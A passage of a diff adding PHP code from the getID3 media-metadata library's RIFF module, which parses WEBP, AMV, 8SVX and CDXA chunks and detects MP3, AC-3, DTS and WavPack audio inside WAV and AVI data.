+							$this->warning('Unexpected value in 8SVX.CHAN chunk - expecting 2 or 4 or 6, found "'.$ChannelsIndex.'"');
+							break;
+					}
+
+				}
+
+				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
+				foreach ($CommentsChunkNames as $key => $value) {
+					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
+						$thisfile_riff['comments'][$value][] = $thisfile_riff[$RIFFsubtype][$key][0]['data'];
+					}
+				}
+
+				$thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $ActualBitsPerSample * $thisfile_audio['channels'];
+				if (!empty($thisfile_audio['bitrate'])) {
+					$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($thisfile_audio['bitrate'] / 8);
+				}
+				break;
+
+			case 'CDXA':
+				$info['fileformat'] = 'vcd'; // Asume Video CD
+				$info['mime_type']  = 'video/mpeg';
+
+				if (!empty($thisfile_riff['CDXA']['data'][0]['size'])) {
+					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.mpeg.php', __FILE__, true);
+
+					$getid3_temp = new getID3();
+					$getid3_temp->openfile($this->getid3->filename);
+					$getid3_mpeg = new getid3_mpeg($getid3_temp);
+					$getid3_mpeg->Analyze();
+					if (empty($getid3_temp->info['error'])) {
+						$info['audio']   = $getid3_temp->info['audio'];
+						$info['video']   = $getid3_temp->info['video'];
+						$info['mpeg']    = $getid3_temp->info['mpeg'];
+						$info['warning'] = $getid3_temp->info['warning'];
+					}
+					unset($getid3_temp, $getid3_mpeg);
+				}
+				break;
+
+			case 'WEBP':
+				// https://developers.google.com/speed/webp/docs/riff_container
+				// https://tools.ietf.org/html/rfc6386
+				// https://chromium.googlesource.com/webm/libwebp/+/master/doc/webp-lossless-bitstream-spec.txt
+				$info['fileformat'] = 'webp';
+				$info['mime_type']  = 'image/webp';
+
+				if (!empty($thisfile_riff['WEBP']['VP8 '][0]['size'])) {
+					$old_offset = $this->ftell();
+					$this->fseek($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8); // 4 bytes "VP8 " + 4 bytes chunk size
+					$WEBP_VP8_header = $this->fread(10);
+					$this->fseek($old_offset);
+					if (substr($WEBP_VP8_header, 3, 3) == "\x9D\x01\x2A") {
+						$thisfile_riff['WEBP']['VP8 '][0]['keyframe']   = !(getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x800000);
+						$thisfile_riff['WEBP']['VP8 '][0]['version']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x700000) >> 20;
+						$thisfile_riff['WEBP']['VP8 '][0]['show_frame'] =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x080000);
+						$thisfile_riff['WEBP']['VP8 '][0]['data_bytes'] =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x07FFFF) >>  0;
+
+						$thisfile_riff['WEBP']['VP8 '][0]['scale_x']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0xC000) >> 14;
+						$thisfile_riff['WEBP']['VP8 '][0]['width']      =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0x3FFF);
+						$thisfile_riff['WEBP']['VP8 '][0]['scale_y']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0xC000) >> 14;
+						$thisfile_riff['WEBP']['VP8 '][0]['height']     =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0x3FFF);
+
+						$info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8 '][0]['width'];
+						$info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8 '][0]['height'];
+					} else {
+						$this->error('Expecting 9D 01 2A at offset '.($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8 + 3).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8_header, 3, 3)).'"');
+					}
+
+				}
+				if (!empty($thisfile_riff['WEBP']['VP8L'][0]['size'])) {
+					$old_offset = $this->ftell();
+					$this->fseek($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8); // 4 bytes "VP8L" + 4 bytes chunk size
+					$WEBP_VP8L_header = $this->fread(10);
+					$this->fseek($old_offset);
+					if (substr($WEBP_VP8L_header, 0, 1) == "\x2F") {
+						$width_height_flags = getid3_lib::LittleEndian2Bin(substr($WEBP_VP8L_header, 1, 4));
+						$thisfile_riff['WEBP']['VP8L'][0]['width']         =        bindec(substr($width_height_flags, 18, 14)) + 1;
+						$thisfile_riff['WEBP']['VP8L'][0]['height']        =        bindec(substr($width_height_flags,  4, 14)) + 1;
+						$thisfile_riff['WEBP']['VP8L'][0]['alpha_is_used'] = (bool) bindec(substr($width_height_flags,  3,  1));
+						$thisfile_riff['WEBP']['VP8L'][0]['version']       =        bindec(substr($width_height_flags,  0,  3));
+
+						$info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8L'][0]['width'];
+						$info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8L'][0]['height'];
+					} else {
+						$this->error('Expecting 2F at offset '.($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8L_header, 0, 1)).'"');
+					}
+
+				}
+				break;
+
+			default:
+				$this->error('Unknown RIFF type: expecting one of (WAVE|RMP3|AVI |CDDA|AIFF|AIFC|8SVX|CDXA|WEBP), found "'.$RIFFsubtype.'" instead');
+				//unset($info['fileformat']);
+		}
+
+		switch ($RIFFsubtype) {
+			case 'WAVE':
+			case 'AIFF':
+			case 'AIFC':
+				$ID3v2_key_good = 'id3 ';
+				$ID3v2_keys_bad = array('ID3 ', 'tag ');
+				foreach ($ID3v2_keys_bad as $ID3v2_key_bad) {
+					if (isset($thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]) && !array_key_exists($ID3v2_key_good, $thisfile_riff[$RIFFsubtype])) {
+						$thisfile_riff[$RIFFsubtype][$ID3v2_key_good] = $thisfile_riff[$RIFFsubtype][$ID3v2_key_bad];
+						$this->warning('mapping "'.$ID3v2_key_bad.'" chunk to "'.$ID3v2_key_good.'"');
+					}
+				}
+
+				if (isset($thisfile_riff[$RIFFsubtype]['id3 '])) {
+					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);
+
+					$getid3_temp = new getID3();
+					$getid3_temp->openfile($this->getid3->filename);
+					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
+					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['id3 '][0]['offset'] + 8;
+					if ($thisfile_riff[$RIFFsubtype]['id3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
+						$info['id3v2'] = $getid3_temp->info['id3v2'];
+					}
+					unset($getid3_temp, $getid3_id3v2);
+				}
+				break;
+		}
+
+		if (isset($thisfile_riff_WAVE['DISP']) && is_array($thisfile_riff_WAVE['DISP'])) {
+			$thisfile_riff['comments']['title'][] = trim(substr($thisfile_riff_WAVE['DISP'][count($thisfile_riff_WAVE['DISP']) - 1]['data'], 4));
+		}
+		if (isset($thisfile_riff_WAVE['INFO']) && is_array($thisfile_riff_WAVE['INFO'])) {
+			self::parseComments($thisfile_riff_WAVE['INFO'], $thisfile_riff['comments']);
+		}
+		if (isset($thisfile_riff['AVI ']['INFO']) && is_array($thisfile_riff['AVI ']['INFO'])) {
+			self::parseComments($thisfile_riff['AVI ']['INFO'], $thisfile_riff['comments']);
+		}
+
+		if (empty($thisfile_audio['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version'])) {
+			$thisfile_audio['encoder'] = $info['mpeg']['audio']['LAME']['short_version'];
+		}
+
+		if (!isset($info['playtime_seconds'])) {
+			$info['playtime_seconds'] = 0;
+		}
+		if (isset($thisfile_riff_raw['strh'][0]['dwLength']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) {
+			// needed for >2GB AVIs where 'avih' chunk only lists number of frames in that chunk, not entire movie
+			$info['playtime_seconds'] = $thisfile_riff_raw['strh'][0]['dwLength'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
+		} elseif (isset($thisfile_riff_raw['avih']['dwTotalFrames']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) {
+			$info['playtime_seconds'] = $thisfile_riff_raw['avih']['dwTotalFrames'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
+		}
+
+		if ($info['playtime_seconds'] > 0) {
+			if (isset($thisfile_riff_audio) && isset($thisfile_riff_video)) {
+
+				if (!isset($info['bitrate'])) {
+					$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
+				}
+
+			} elseif (isset($thisfile_riff_audio) && !isset($thisfile_riff_video)) {
+
+				if (!isset($thisfile_audio['bitrate'])) {
+					$thisfile_audio['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
+				}
+
+			} elseif (!isset($thisfile_riff_audio) && isset($thisfile_riff_video)) {
+
+				if (!isset($thisfile_video['bitrate'])) {
+					$thisfile_video['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
+				}
+
+			}
+		}
+
+
+		if (isset($thisfile_riff_video) && isset($thisfile_audio['bitrate']) && ($thisfile_audio['bitrate'] > 0) && ($info['playtime_seconds'] > 0)) {
+
+			$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
+			$thisfile_audio['bitrate'] = 0;
+			$thisfile_video['bitrate'] = $info['bitrate'];
+			foreach ($thisfile_riff_audio as $channelnumber => $audioinfoarray) {
+				$thisfile_video['bitrate'] -= $audioinfoarray['bitrate'];
+				$thisfile_audio['bitrate'] += $audioinfoarray['bitrate'];
+			}
+			if ($thisfile_video['bitrate'] <= 0) {
+				unset($thisfile_video['bitrate']);
+			}
+			if ($thisfile_audio['bitrate'] <= 0) {
+				unset($thisfile_audio['bitrate']);
+			}
+		}
+
+		if (isset($info['mpeg']['audio'])) {
+			$thisfile_audio_dataformat      = 'mp'.$info['mpeg']['audio']['layer'];
+			$thisfile_audio['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
+			$thisfile_audio['channels']     = $info['mpeg']['audio']['channels'];
+			$thisfile_audio['bitrate']      = $info['mpeg']['audio']['bitrate'];
+			$thisfile_audio['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
+			if (!empty($info['mpeg']['audio']['codec'])) {
+				$thisfile_audio['codec'] = $info['mpeg']['audio']['codec'].' '.$thisfile_audio['codec'];
+			}
+			if (!empty($thisfile_audio['streams'])) {
+				foreach ($thisfile_audio['streams'] as $streamnumber => $streamdata) {
+					if ($streamdata['dataformat'] == $thisfile_audio_dataformat) {
+						$thisfile_audio['streams'][$streamnumber]['sample_rate']  = $thisfile_audio['sample_rate'];
+						$thisfile_audio['streams'][$streamnumber]['channels']     = $thisfile_audio['channels'];
+						$thisfile_audio['streams'][$streamnumber]['bitrate']      = $thisfile_audio['bitrate'];
+						$thisfile_audio['streams'][$streamnumber]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
+						$thisfile_audio['streams'][$streamnumber]['codec']        = $thisfile_audio['codec'];
+					}
+				}
+			}
+			$getid3_mp3 = new getid3_mp3($this->getid3);
+			$thisfile_audio['encoder_options'] = $getid3_mp3->GuessEncoderOptions();
+			unset($getid3_mp3);
+		}
+
+
+		if (!empty($thisfile_riff_raw['fmt ']['wBitsPerSample']) && ($thisfile_riff_raw['fmt ']['wBitsPerSample'] > 0)) {
+			switch ($thisfile_audio_dataformat) {
+				case 'ac3':
+					// ignore bits_per_sample
+					break;
+
+				default:
+					$thisfile_audio['bits_per_sample'] = $thisfile_riff_raw['fmt ']['wBitsPerSample'];
+					break;
+			}
+		}
+
+
+		if (empty($thisfile_riff_raw)) {
+			unset($thisfile_riff['raw']);
+		}
+		if (empty($thisfile_riff_audio)) {
+			unset($thisfile_riff['audio']);
+		}
+		if (empty($thisfile_riff_video)) {
+			unset($thisfile_riff['video']);
+		}
+
+		return true;
+	}
+
+	public function ParseRIFFAMV($startoffset, $maxoffset) {
+		// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size
+
+		// https://code.google.com/p/amv-codec-tools/wiki/AmvDocumentation
+		//typedef struct _amvmainheader {
+		//FOURCC fcc; // 'amvh'
+		//DWORD cb;
+		//DWORD dwMicroSecPerFrame;
+		//BYTE reserve[28];
+		//DWORD dwWidth;
+		//DWORD dwHeight;
+		//DWORD dwSpeed;
+		//DWORD reserve0;
+		//DWORD reserve1;
+		//BYTE bTimeSec;
+		//BYTE bTimeMin;
+		//WORD wTimeHour;
+		//} AMVMAINHEADER;
+
+		$info = &$this->getid3->info;
+		$RIFFchunk = false;
+
+		try {
+
+			$this->fseek($startoffset);
+			$maxoffset = min($maxoffset, $info['avdataend']);
+			$AMVheader = $this->fread(284);
+			if (substr($AMVheader,   0,  8) != 'hdrlamvh') {
+				throw new Exception('expecting "hdrlamv" at offset '.($startoffset +   0).', found "'.substr($AMVheader,   0, 8).'"');
+			}
+			if (substr($AMVheader,   8,  4) != "\x38\x00\x00\x00") { // "amvh" chunk size, hardcoded to 0x38 = 56 bytes
+				throw new Exception('expecting "0x38000000" at offset '.($startoffset +   8).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,   8, 4)).'"');
+			}
+			$RIFFchunk = array();
+			$RIFFchunk['amvh']['us_per_frame']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  12,  4));
+			$RIFFchunk['amvh']['reserved28']     =                              substr($AMVheader,  16, 28);  // null? reserved?
+			$RIFFchunk['amvh']['resolution_x']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  44,  4));
+			$RIFFchunk['amvh']['resolution_y']   = getid3_lib::LittleEndian2Int(substr($AMVheader,  48,  4));
+			$RIFFchunk['amvh']['frame_rate_int'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  52,  4));
+			$RIFFchunk['amvh']['reserved0']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  56,  4)); // 1? reserved?
+			$RIFFchunk['amvh']['reserved1']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  60,  4)); // 0? reserved?
+			$RIFFchunk['amvh']['runtime_sec']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  64,  1));
+			$RIFFchunk['amvh']['runtime_min']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  65,  1));
+			$RIFFchunk['amvh']['runtime_hrs']    = getid3_lib::LittleEndian2Int(substr($AMVheader,  66,  2));
+
+			$info['video']['frame_rate']   = 1000000 / $RIFFchunk['amvh']['us_per_frame'];
+			$info['video']['resolution_x'] = $RIFFchunk['amvh']['resolution_x'];
+			$info['video']['resolution_y'] = $RIFFchunk['amvh']['resolution_y'];
+			$info['playtime_seconds']      = ($RIFFchunk['amvh']['runtime_hrs'] * 3600) + ($RIFFchunk['amvh']['runtime_min'] * 60) + $RIFFchunk['amvh']['runtime_sec'];
+
+			// the rest is all hardcoded(?) and does not appear to be useful until you get to audio info at offset 256, even then everything is probably hardcoded
+
+			if (substr($AMVheader,  68, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x38\x00\x00\x00") {
+				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x38000000>" at offset '.($startoffset +  68).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,  68, 20)).'"');
+			}
+			// followed by 56 bytes of null: substr($AMVheader,  88, 56) -> 144
+			if (substr($AMVheader, 144,  8) != 'strf'."\x24\x00\x00\x00") {
+				throw new Exception('expecting "strf<0x24000000>" at offset '.($startoffset + 144).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 144,  8)).'"');
+			}
+			// followed by 36 bytes of null: substr($AMVheader, 144, 36) -> 180
+
+			if (substr($AMVheader, 188, 20) != 'LIST'."\x00\x00\x00\x00".'strlstrh'."\x30\x00\x00\x00") {
+				throw new Exception('expecting "LIST<0x00000000>strlstrh<0x30000000>" at offset '.($startoffset + 188).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 188, 20)).'"');
+			}
+			// followed by 48 bytes of null: substr($AMVheader, 208, 48) -> 256
+			if (substr($AMVheader, 256,  8) != 'strf'."\x14\x00\x00\x00") {
+				throw new Exception('expecting "strf<0x14000000>" at offset '.($startoffset + 256).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader, 256,  8)).'"');
+			}
+			// followed by 20 bytes of a modified WAVEFORMATEX:
+			// typedef struct {
+			// WORD wFormatTag;       //(Fixme: this is equal to PCM's 0x01 format code)
+			// WORD nChannels;        //(Fixme: this is always 1)
+			// DWORD nSamplesPerSec;  //(Fixme: for all known sample files this is equal to 22050)
+			// DWORD nAvgBytesPerSec; //(Fixme: for all known sample files this is equal to 44100)
+			// WORD nBlockAlign;      //(Fixme: this seems to be 2 in AMV files, is this correct ?)
+			// WORD wBitsPerSample;   //(Fixme: this seems to be 16 in AMV files instead of the expected 4)
+			// WORD cbSize;           //(Fixme: this seems to be 0 in AMV files)
+			// WORD reserved;
+			// } WAVEFORMATEX;
+			$RIFFchunk['strf']['wformattag']      = getid3_lib::LittleEndian2Int(substr($AMVheader,  264,  2));
+			$RIFFchunk['strf']['nchannels']       = getid3_lib::LittleEndian2Int(substr($AMVheader,  266,  2));
+			$RIFFchunk['strf']['nsamplespersec']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  268,  4));
+			$RIFFchunk['strf']['navgbytespersec'] = getid3_lib::LittleEndian2Int(substr($AMVheader,  272,  4));
+			$RIFFchunk['strf']['nblockalign']     = getid3_lib::LittleEndian2Int(substr($AMVheader,  276,  2));
+			$RIFFchunk['strf']['wbitspersample']  = getid3_lib::LittleEndian2Int(substr($AMVheader,  278,  2));
+			$RIFFchunk['strf']['cbsize']          = getid3_lib::LittleEndian2Int(substr($AMVheader,  280,  2));
+			$RIFFchunk['strf']['reserved']        = getid3_lib::LittleEndian2Int(substr($AMVheader,  282,  2));
+
+
+			$info['audio']['lossless']        = false;
+			$info['audio']['sample_rate']     = $RIFFchunk['strf']['nsamplespersec'];
+			$info['audio']['channels']        = $RIFFchunk['strf']['nchannels'];
+			$info['audio']['bits_per_sample'] = $RIFFchunk['strf']['wbitspersample'];
+			$info['audio']['bitrate']         = $info['audio']['sample_rate'] * $info['audio']['channels'] * $info['audio']['bits_per_sample'];
+			$info['audio']['bitrate_mode']    = 'cbr';
+
+
+		} catch (getid3_exception $e) {
+			if ($e->getCode() == 10) {
+				$this->warning('RIFFAMV parser: '.$e->getMessage());
+			} else {
+				throw $e;
+			}
+		}
+
+		return $RIFFchunk;
+	}
+
+
+	public function ParseRIFF($startoffset, $maxoffset) {
+		$info = &$this->getid3->info;
+
+		$RIFFchunk = false;
+		$FoundAllChunksWeNeed = false;
+
+		try {
+			$this->fseek($startoffset);
+			$maxoffset = min($maxoffset, $info['avdataend']);
+			while ($this->ftell() < $maxoffset) {
+				$chunknamesize = $this->fread(8);
+				//$chunkname =                          substr($chunknamesize, 0, 4);
+				$chunkname = str_replace("\x00", '_', substr($chunknamesize, 0, 4));  // note: chunk names of 4 null bytes do appear to be legal (has been observed inside INFO and PRMI chunks, for example), but makes traversing array keys more difficult
+				$chunksize =  $this->EitherEndian2Int(substr($chunknamesize, 4, 4));
+				//if (strlen(trim($chunkname, "\x00")) < 4) {
+				if (strlen($chunkname) < 4) {
+					$this->error('Expecting chunk name at offset '.($this->ftell() - 8).' but found nothing. Aborting RIFF parsing.');
+					break;
+				}
+				if (($chunksize == 0) && ($chunkname != 'JUNK')) {
+					$this->warning('Chunk ('.$chunkname.') size at offset '.($this->ftell() - 4).' is zero. Aborting RIFF parsing.');
+					break;
+				}
+				if (($chunksize % 2) != 0) {
+					// all structures are packed on word boundaries
+					$chunksize++;
+				}
+
+				switch ($chunkname) {
+					case 'LIST':
+						$listname = $this->fread(4);
+						if (preg_match('#^(movi|rec )$#i', $listname)) {
+							$RIFFchunk[$listname]['offset'] = $this->ftell() - 4;
+							$RIFFchunk[$listname]['size']   = $chunksize;
+
+							if (!$FoundAllChunksWeNeed) {
+								$WhereWeWere      = $this->ftell();
+								$AudioChunkHeader = $this->fread(12);
+								$AudioChunkStreamNum  =                              substr($AudioChunkHeader, 0, 2);
+								$AudioChunkStreamType =                              substr($AudioChunkHeader, 2, 2);
+								$AudioChunkSize       = getid3_lib::LittleEndian2Int(substr($AudioChunkHeader, 4, 4));
+
+								if ($AudioChunkStreamType == 'wb') {
+									$FirstFourBytes = substr($AudioChunkHeader, 8, 4);
+									if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', $FirstFourBytes)) {
+										// MP3
+										if (getid3_mp3::MPEGaudioHeaderBytesValid($FirstFourBytes)) {
+											$getid3_temp = new getID3();
+											$getid3_temp->openfile($this->getid3->filename);
+											$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
+											$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
+											$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
+											$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
+											if (isset($getid3_temp->info['mpeg']['audio'])) {
+												$info['mpeg']['audio']         = $getid3_temp->info['mpeg']['audio'];
+												$info['audio']                 = $getid3_temp->info['audio'];
+												$info['audio']['dataformat']   = 'mp'.$info['mpeg']['audio']['layer'];
+												$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
+												$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
+												$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
+												$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
+												//$info['bitrate']               = $info['audio']['bitrate'];
+											}
+											unset($getid3_temp, $getid3_mp3);
+										}
+
+									} elseif (strpos($FirstFourBytes, getid3_ac3::syncword) === 0) {
+
+										// AC3
+										$getid3_temp = new getID3();
+										$getid3_temp->openfile($this->getid3->filename);
+										$getid3_temp->info['avdataoffset'] = $this->ftell() - 4;
+										$getid3_temp->info['avdataend']    = $this->ftell() + $AudioChunkSize;
+										$getid3_ac3 = new getid3_ac3($getid3_temp);
+										$getid3_ac3->Analyze();
+										if (empty($getid3_temp->info['error'])) {
+											$info['audio']   = $getid3_temp->info['audio'];
+											$info['ac3']     = $getid3_temp->info['ac3'];
+											if (!empty($getid3_temp->info['warning'])) {
+												foreach ($getid3_temp->info['warning'] as $key => $value) {
+													$this->warning($value);
+												}
+											}
+										}
+										unset($getid3_temp, $getid3_ac3);
+									}
+								}
+								$FoundAllChunksWeNeed = true;
+								$this->fseek($WhereWeWere);
+							}
+							$this->fseek($chunksize - 4, SEEK_CUR);
+
+						} else {
+
+							if (!isset($RIFFchunk[$listname])) {
+								$RIFFchunk[$listname] = array();
+							}
+							$LISTchunkParent    = $listname;
+							$LISTchunkMaxOffset = $this->ftell() - 4 + $chunksize;
+							if ($parsedChunk = $this->ParseRIFF($this->ftell(), $LISTchunkMaxOffset)) {
+								$RIFFchunk[$listname] = array_merge_recursive($RIFFchunk[$listname], $parsedChunk);
+							}
+
+						}
+						break;
+
+					default:
+						if (preg_match('#^[0-9]{2}(wb|pc|dc|db)$#', $chunkname)) {
+							$this->fseek($chunksize, SEEK_CUR);
+							break;
+						}
+						$thisindex = 0;
+						if (isset($RIFFchunk[$chunkname]) && is_array($RIFFchunk[$chunkname])) {
+							$thisindex = count($RIFFchunk[$chunkname]);
+						}
+						$RIFFchunk[$chunkname][$thisindex]['offset'] = $this->ftell() - 8;
+						$RIFFchunk[$chunkname][$thisindex]['size']   = $chunksize;
+						switch ($chunkname) {
+							case 'data':
+								$info['avdataoffset'] = $this->ftell();
+								$info['avdataend']    = $info['avdataoffset'] + $chunksize;
+
+								$testData = $this->fread(36);
+								if ($testData === '') {
+									break;
+								}
+								if (preg_match('/^\xFF[\xE2-\xE7\xF2-\xF7\xFA-\xFF][\x00-\xEB]/s', substr($testData, 0, 4))) {
+
+									// Probably is MP3 data
+									if (getid3_mp3::MPEGaudioHeaderBytesValid(substr($testData, 0, 4))) {
+										$getid3_temp = new getID3();
+										$getid3_temp->openfile($this->getid3->filename);
+										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
+										$getid3_temp->info['avdataend']    = $info['avdataend'];
+										$getid3_mp3 = new getid3_mp3($getid3_temp, __CLASS__);
+										$getid3_mp3->getOnlyMPEGaudioInfo($info['avdataoffset'], false);
+										if (empty($getid3_temp->info['error'])) {
+											$info['audio'] = $getid3_temp->info['audio'];
+											$info['mpeg']  = $getid3_temp->info['mpeg'];
+										}
+										unset($getid3_temp, $getid3_mp3);
+									}
+
+								} elseif (($isRegularAC3 = (substr($testData, 0, 2) == getid3_ac3::syncword)) || substr($testData, 8, 2) == strrev(getid3_ac3::syncword)) {
+
+									// This is probably AC-3 data
+									$getid3_temp = new getID3();
+									if ($isRegularAC3) {
+										$getid3_temp->openfile($this->getid3->filename);
+										$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
+										$getid3_temp->info['avdataend']    = $info['avdataend'];
+									}
+									$getid3_ac3 = new getid3_ac3($getid3_temp);
+									if ($isRegularAC3) {
+										$getid3_ac3->Analyze();
+									} else {
+										// Dolby Digital WAV
+										// AC-3 content, but not encoded in same format as normal AC-3 file
+										// For one thing, byte order is swapped
+										$ac3_data = '';
+										for ($i = 0; $i < 28; $i += 2) {
+											$ac3_data .= substr($testData, 8 + $i + 1, 1);
+											$ac3_data .= substr($testData, 8 + $i + 0, 1);
+										}
+										$getid3_ac3->AnalyzeString($ac3_data);
+									}
+
+									if (empty($getid3_temp->info['error'])) {
+										$info['audio'] = $getid3_temp->info['audio'];
+										$info['ac3']   = $getid3_temp->info['ac3'];
+										if (!empty($getid3_temp->info['warning'])) {
+											foreach ($getid3_temp->info['warning'] as $newerror) {
+												$this->warning('getid3_ac3() says: ['.$newerror.']');
+											}
+										}
+									}
+									unset($getid3_temp, $getid3_ac3);
+
+								} elseif (preg_match('/^('.implode('|', array_map('preg_quote', getid3_dts::$syncwords)).')/', $testData)) {
+
+									// This is probably DTS data
+									$getid3_temp = new getID3();
+									$getid3_temp->openfile($this->getid3->filename);
+									$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
+									$getid3_dts = new getid3_dts($getid3_temp);
+									$getid3_dts->Analyze();
+									if (empty($getid3_temp->info['error'])) {
+										$info['audio']            = $getid3_temp->info['audio'];
+										$info['dts']              = $getid3_temp->info['dts'];
+										$info['playtime_seconds'] = $getid3_temp->info['playtime_seconds']; // may not match RIFF calculations since DTS-WAV often used 14/16 bit-word packing
+										if (!empty($getid3_temp->info['warning'])) {
+											foreach ($getid3_temp->info['warning'] as $newerror) {
+												$this->warning('getid3_dts() says: ['.$newerror.']');
+											}
+										}
+									}
+
+									unset($getid3_temp, $getid3_dts);
+
+								} elseif (substr($testData, 0, 4) == 'wvpk') {
+
+									// This is WavPack data
+									$info['wavpack']['offset'] = $info['avdataoffset'];
+									$info['wavpack']['size']   = getid3_lib::LittleEndian2Int(substr($testData, 4, 4));
+									$this->parseWavPackHeader(substr($testData, 8, 28));
+
+								} else {
+									// This is some other kind of data (quite possibly just PCM)
+									// do nothing special, just skip it
+								}
+								$nextoffset = $info['avdataend'];
+								$this->fseek($nextoffset);
+								break;
+
+							case 'iXML':
+							case 'bext':
+							case 'cart':
+							case 'fmt ':
+							case 'strh':
+							case 'strf':
+							case 'indx':
+							case 'MEXT':
+							case 'DISP':
+								// always read data in
+							case 'JUNK':
+								// should be: never read data in
+								// but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc)
+								if ($chunksize < 1048576) {
+									if ($chunksize > 0) {
+										$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
+										if ($chunkname == 'JUNK') {
+											if (preg_match('#^([\\x20-\\x7F]+)#', $RIFFchunk[$chunkname][$thisindex]['data'], $matches)) {
+												// only keep text characters [chr(32)-chr(127)]
+												$info['riff']['comments']['junk'][] = trim($matches[1]);
+											}
+											// but if nothing there, ignore
+											// remove the key in either case
+											unset($RIFFchunk[$chunkname][$thisindex]['data']);
+										}
+									}
+								} else {
+									$this->warning('Chunk "'.$chunkname.'" at offset '.$this->ftell().' is unexpectedly larger than 1MB (claims to be '.number_format($chunksize).' bytes), skipping data');
+									$this->fseek($chunksize, SEEK_CUR);
+								}
+								break;
+
+							//case 'IDVX':
+							//	$info['divxtag']['comments'] = self::ParseDIVXTAG($this->fread($chunksize));
+							//	break;
+
+							default:
+								if (!empty($LISTchunkParent) && (($RIFFchunk[$chunkname][$thisindex]['offset'] + $RIFFchunk[$chunkname][$thisindex]['size']) <= $LISTchunkMaxOffset)) {
+									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['offset'] = $RIFFchunk[$chunkname][$thisindex]['offset'];
+									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['size']   = $RIFFchunk[$chunkname][$thisindex]['size'];
+									unset($RIFFchunk[$chunkname][$thisindex]['offset']);
+									unset($RIFFchunk[$chunkname][$thisindex]['size']);
+									if (isset($RIFFchunk[$chunkname][$thisindex]) && empty($RIFFchunk[$chunkname][$thisindex])) {
+										unset($RIFFchunk[$chunkname][$thisindex]);
+									}
+									if (isset($RIFFchunk[$chunkname]) && empty($RIFFchunk[$chunkname])) {
+										unset($RIFFchunk[$chunkname]);
+									}
